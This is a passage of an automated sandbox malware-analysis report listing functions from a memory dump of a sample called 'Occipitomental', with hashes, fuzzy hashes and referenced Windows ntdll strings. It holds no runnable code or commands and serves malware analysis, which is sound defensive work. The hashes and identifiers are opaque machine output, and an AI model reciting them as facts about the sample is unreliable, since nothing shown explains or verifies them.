                                                  • Instruction ID: ede0d0ba54e0e2f2889a50b296d0112433217cfb3286b5db586fa30f5ab331f3
                                                  • Opcode Fuzzy Hash: c1a2a452f492e785ea26634ded358e85e7c907f69edc709361b41da4889ba71f
                                                  • Instruction Fuzzy Hash: 06E1F074A043859FEB15CF29C490BBABBF2FF48300F54859DE8968B246DB74E941CB60
                                                  Function 3574368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$DelegatedNtdll$\SystemRoot\system32\
                                                  • API String ID: 0-2391371766
                                                  • Opcode ID: 32bd3d60fa0b6dec304d2815037fd1ab05909f768632432b835d25ba4afb3433
                                                  • Instruction ID: ba61214382e7bcb56c3213c3ab8690993637bf41b950bf550ae6c7461dc4a513
                                                  • Opcode Fuzzy Hash: 32bd3d60fa0b6dec304d2815037fd1ab05909f768632432b835d25ba4afb3433
                                                  • Instruction Fuzzy Hash: B4B19CB2648341AFE711DE50C884F5BB7F9FB44754F81092AFA55AF250DB70E884CB92
                                                  Function 357536EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
                                                  • API String ID: 0-318774311
                                                  • Opcode ID: 3151abd6bd0889b902529e38df52ab0cb5e32120c885ff3fd4fa2bba9b5bd447
                                                  • Instruction ID: b3ac1baad2552e0c3ce8fde80fb3b3feda60c2842c832b1d7504b41908416df6
                                                  • Opcode Fuzzy Hash: 3151abd6bd0889b902529e38df52ab0cb5e32120c885ff3fd4fa2bba9b5bd447
                                                  • Instruction Fuzzy Hash: D3817CB5608340AFE311CF24C884B6AB7E9FF85764F400D2DB9919B3A0EB74D904CB66
                                                  Function 35747410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Objects=%4u$Objects>%4u$VirtualAlloc
                                                  • API String ID: 0-3870751728
                                                  • Opcode ID: d38c779ff326717f049f3e14d0b34ef267f9f3b45610a83dc44ff8df71360d54
                                                  • Instruction ID: 9f5a972ab52cc1c2ec042dd1bc63247d0d0432dadf49b95b37dcddb7a0ebdeac
                                                  • Opcode Fuzzy Hash: d38c779ff326717f049f3e14d0b34ef267f9f3b45610a83dc44ff8df71360d54
                                                  • Instruction Fuzzy Hash: 929128B4E002159BEB14CF69C880BEDBBF2BF48314F14816AE905AF291E7759842CF95
                                                  Function 356F909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: %$&$@
                                                  • API String ID: 0-1537733988
                                                  • Opcode ID: 21414ef3cb6612e47ff4978bcb6c64656767fc48edb9ee3b057be883dd066f34
                                                  • Instruction ID: 77a6982671b702d6b1beaad0481b7498f55e45dc58ccf108ea226bfc98aedfc4
                                                  • Opcode Fuzzy Hash: 21414ef3cb6612e47ff4978bcb6c64656767fc48edb9ee3b057be883dd066f34
                                                  • Instruction Fuzzy Hash: 8671CF74A193029FE714CF24C980A1FBBF6FF85658F104A2DF49A4B651CB72D909CB92
                                                  Function 3579B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • \Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 3579B82A
                                                  • GlobalizationUserSettings, xrefs: 3579B834
                                                  • TargetNtPath, xrefs: 3579B82F
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
                                                  • API String ID: 0-505981995
                                                  • Opcode ID: ce03ea6104942a6a190dbb1a0cb0db8f1a48a9f446ca4400021bbbe9b234683c
                                                  • Instruction ID: a6774a7c2657885034613e271357c810aa9d617ade873068d2e8ba6ec9f319fa
                                                  • Opcode Fuzzy Hash: ce03ea6104942a6a190dbb1a0cb0db8f1a48a9f446ca4400021bbbe9b234683c
                                                  • Instruction Fuzzy Hash: 67619E72915229EBDB25DF54EC8CBDAB7B9EF14720F4101E5A508AB250CB749E84CFA0
                                                  Function 356BF7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • HEAP[%wZ]: , xrefs: 3571E6A6
                                                  • HEAP: , xrefs: 3571E6B3
                                                  • RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 3571E6C6
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
                                                  • API String ID: 0-1340214556
                                                  • Opcode ID: 5a22f50fe75310c1d671db6994798a1f370d51d89e15fad0001fcd8ca7828788
                                                  • Instruction ID: e83b5ee5f4bdc245fa0d51592d56d1710b4775b76c8314630e5176a4a8233260
                                                  • Opcode Fuzzy Hash: 5a22f50fe75310c1d671db6994798a1f370d51d89e15fad0001fcd8ca7828788
                                                  • Instruction Fuzzy Hash: 2351E075714784AFEB12CBA5C984F9AFBF9FF05340F0444A5E9818B6A2D7B4EA40CB50
                                                  Function 356E15F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • LdrpCompleteMapModule, xrefs: 3572A590
                                                  • minkernel\ntdll\ldrmap.c, xrefs: 3572A59A
                                                  • Could not validate the crypto signature for DLL %wZ, xrefs: 3572A589
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                                  • API String ID: 0-1676968949
                                                  • Opcode ID: 42ef1502d4f3a6f329d76db7a6d8714753b8999a628df2fd08fe757a4e2a4fa4
                                                  • Instruction ID: 43cce63e8613ffd246fc94a66e9deb0ec91c149701de1108bf9aae4b9301e28f
                                                  • Opcode Fuzzy Hash: 42ef1502d4f3a6f329d76db7a6d8714753b8999a628df2fd08fe757a4e2a4fa4
                                                  • Instruction Fuzzy Hash: 3E5111B87067859FE711CB59CA40F0AB7F5FB02724F5406A8E9519F6D2CBB0E880DB41
                                                  Function 356B758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
                                                  • API String ID: 0-1151232445
                                                  • Opcode ID: d86b852554fffff9a2befe34c45ca55dbeee54c2e5d8c6bf371bb3c7c36b7201
                                                  • Instruction ID: 2c30de509e13a8c9bb546f261b48b64dee801dcd297e837235ba7f7475ab7458
                                                  • Opcode Fuzzy Hash: d86b852554fffff9a2befe34c45ca55dbeee54c2e5d8c6bf371bb3c7c36b7201
                                                  • Instruction Fuzzy Hash: 814136F83043408FEF15CE1AC091BA977A6AF01384F544069DD469F752EBF0DA85CB91
                                                  Function 356F16CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • LdrpAllocateTls, xrefs: 35731B40
                                                  • minkernel\ntdll\ldrtls.c, xrefs: 35731B4A
                                                  • TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 35731B39
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
                                                  • API String ID: 0-4274184382
                                                  • Opcode ID: 4e6f7eb4d96c7de4392880ac1627b41a50aef86c538355d0b97f5fff01937c64
                                                  • Instruction ID: 03c2c8bb1be70d2daeb423c9c37fa7dc36da94bbac97ca2583502e154d8d8d7b
                                                  • Opcode Fuzzy Hash: 4e6f7eb4d96c7de4392880ac1627b41a50aef86c538355d0b97f5fff01937c64
                                                  • Instruction Fuzzy Hash: 29418BB5E01648AFDB15CFA8DC41AAEBBF6FF48350F108159E409AB200EB75A901CF94
                                                  Function 35775180 Relevance: 3.9, Strings: 3, Instructions: 114COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Leaked Block 0x%p size 0x%p (stack %p depth %u)$HEAP: $HEAP[%wZ]:
                                                  • API String ID: 0-964947082
                                                  • Opcode ID: af6f98a27a212e1169bdd0a786556a96dcd51be1731f0e50ec9e5515fbc283d9
                                                  • Instruction ID: 1a5384f58aeffe34d5e96373ce49b2025854d20f343342460f1bade6d110b277
                                                  • Opcode Fuzzy Hash: af6f98a27a212e1169bdd0a786556a96dcd51be1731f0e50ec9e5515fbc283d9
                                                  • Instruction Fuzzy Hash: 6241ADB5715368AFDF20DF55E884E7A7BB5FF04394F40406AEA02AF250CB709845CB90
                                                  Function 356F33A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • SXS: %s() passed the empty activation context data, xrefs: 357329FE
                                                  • RtlCreateActivationContext, xrefs: 357329F9
                                                  • Actx , xrefs: 356F33AC
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                                  • API String ID: 0-859632880
                                                  • Opcode ID: 43064fcb6694476190420f89c4f2b4a340f0efccf7a3f78255ed093cef4f9f63
                                                  • Instruction ID: 1eafdf9bbbe7a3ec4b12d35238dc6e781296a5f194cb4c27b15a08939c7818e9
                                                  • Opcode Fuzzy Hash: 43064fcb6694476190420f89c4f2b4a340f0efccf7a3f78255ed093cef4f9f63
                                                  • Instruction Fuzzy Hash: 34312072B013059FEB12CE68D891F9A77A5FB84760F414469ED05AF286CB71E841CBD0
                                                  Function 3574B594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • @, xrefs: 3574B670
                                                  • \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 3574B632
                                                  • GlobalFlag, xrefs: 3574B68F
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
                                                  • API String ID: 0-4192008846
                                                  • Opcode ID: bf3cf33bfc112ba691396f7248c7d1a78740afca7db6aa068ddf1112231602eb
                                                  • Instruction ID: 03ae0ec16c312fba61a55fb64cdcb97df0495a096900de46db06a93fc99ef22e
                                                  • Opcode Fuzzy Hash: bf3cf33bfc112ba691396f7248c7d1a78740afca7db6aa068ddf1112231602eb
                                                  • Instruction Fuzzy Hash: 28313BF5A00219AFDB11EFA4DC84AEEBBB9EB44744F5004A9E605AB250D7749E04CBA4
                                                  Function 357613B9 Relevance: 3.9, Strings: 3, Instructions: 101COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$OsBootstatPath$\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control
                                                  • API String ID: 0-1050206962
                                                  • Opcode ID: 58350c8cc91a216cdf0a714e7c71c7776052809d14e5d92b8ec9c39ea6a2a38f
                                                  • Instruction ID: bcc50705483487528d3b98f27ea292862e94e3bfcb7987f171a941980f1613e1
                                                  • Opcode Fuzzy Hash: 58350c8cc91a216cdf0a714e7c71c7776052809d14e5d92b8ec9c39ea6a2a38f
                                                  • Instruction Fuzzy Hash: DA315CB2D00659AFDB12DF94CC88EAEBBFDEB44758F414465E904AB210E7749D04DBA0
                                                  Function 356F1607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • minkernel\ntdll\ldrtls.c, xrefs: 35731A51
                                                  • DLL "%wZ" has TLS information at %p, xrefs: 35731A40
                                                  • LdrpInitializeTls, xrefs: 35731A47
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
                                                  • API String ID: 0-931879808
                                                  • Opcode ID: 6807b1a666348162312e845755efda4b364394660c9f2e16b4403634cb99ded6
                                                  • Instruction ID: 95438ea98781712638aed88877d292c416aab85e9c6e8c973ed8ef1acf09aca9
                                                  • Opcode Fuzzy Hash: 6807b1a666348162312e845755efda4b364394660c9f2e16b4403634cb99ded6
                                                  • Instruction Fuzzy Hash: 1731E272F10385ABEB118B48CC85F6A73BAFB503D4F450159E500BB180FBB1AD81C794
                                                  Function 356B74B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: RtlValidateHeap
                                                  • API String ID: 3446177414-1797218451
                                                  • Opcode ID: 44b7d4c893dd670e8c1fe7adbdb6ddc38caf022ad43692aef203b9472bbfcb3e
                                                  • Instruction ID: a4627fe0641ee516181af8153ad0a533bf81665ee75309c2f33067b204d56b05
                                                  • Opcode Fuzzy Hash: 44b7d4c893dd670e8c1fe7adbdb6ddc38caf022ad43692aef203b9472bbfcb3e
                                                  • Instruction Fuzzy Hash: C441CD76B053459BDF02CF64C490BAEBBB3BF81650F048659DC126B380CB749A09DBD8
                                                  Function 3576705E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: kLsE
                                                  • API String ID: 3446177414-3058123920
                                                  • Opcode ID: 21d43debcf3da27975f9320242bdf26501441652bf8d85872e9ab47e3d0ad1b5
                                                  • Instruction ID: 32c267c7b0d3a4fd488cf238195508d1e1b40b4eb5adc696921d9cf0bccad771
                                                  • Opcode Fuzzy Hash: 21d43debcf3da27975f9320242bdf26501441652bf8d85872e9ab47e3d0ad1b5
                                                  • Instruction Fuzzy Hash: 214128726253504BEB219F60E849FA93BA6FB407ACF200259EE51AE1C1CF744487C7E1
                                                  Function 356D52A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$@
                                                  • API String ID: 0-149943524
                                                  • Opcode ID: d5ffeb8fe2bb23538352c12c74918e24d055c8a2fec12c5603743eeeb5e2d29c
                                                  • Instruction ID: 5f98261b91fdac8314245bd060d246b2de93dd56883f4f424925f067cac899bd
                                                  • Opcode Fuzzy Hash: d5ffeb8fe2bb23538352c12c74918e24d055c8a2fec12c5603743eeeb5e2d29c
                                                  • Instruction Fuzzy Hash: E4329CB86083518FD724CF15C4A0B2AF7E2FF94744F50491EF9858BAA0EB75D884CB92
                                                  Function 356C5702 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: a56d717b4f299fd4803abc38c0bf93fdb57d500ba83bae4134c70a1064f3bfe8
                                                  • Instruction ID: 5c00ed2b9c02cf0c1aa5e445a95ae329fc1ee82f5e171c033158bbe2a87a7505
                                                  • Opcode Fuzzy Hash: a56d717b4f299fd4803abc38c0bf93fdb57d500ba83bae4134c70a1064f3bfe8
                                                  • Instruction Fuzzy Hash: 27319A35301B06EFE7458B24CE94E8AB7B6FF44794F005065E9019BE50DBB0A861CBE0
                                                  Function 3574BC10 Relevance: 2.7, Strings: 2, Instructions: 234COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: \REGISTRY\USER\$\Software\Microsoft\Windows
                                                  • API String ID: 0-4122831824
                                                  • Opcode ID: 353181a494a68791a52a9bd2c92ce51893637b35b79ba837bf58d0d017652ead
                                                  • Instruction ID: 938e0469258e6629bfac99038739d716cca6501495afa4648c75544e1ed6630e
                                                  • Opcode Fuzzy Hash: 353181a494a68791a52a9bd2c92ce51893637b35b79ba837bf58d0d017652ead
                                                  • Instruction Fuzzy Hash: 61919FB52087419FDB11CF24C888B6BB7E5FB88354F604A1DE599CB290EB34ED45CB52
                                                  Function 35755DA0 Relevance: 2.7, Strings: 2, Instructions: 201COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Log$RXACT
                                                  • API String ID: 0-2401810139
                                                  • Opcode ID: 330e1ad35c34c0c22b9dcb15f98ef1f8497eaf02de32c3f9a8ab466139be768c
                                                  • Instruction ID: b4fbe2963d4d07c6159741ac09a964cc525883d099a5adfc673655a16dbfd401
                                                  • Opcode Fuzzy Hash: 330e1ad35c34c0c22b9dcb15f98ef1f8497eaf02de32c3f9a8ab466139be768c
                                                  • Instruction Fuzzy Hash: 397138B2608345AFE711DF54C884E6BBBEDFB887A4F404929F5849B260DB71DD04CB92
                                                  Function 356DF720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
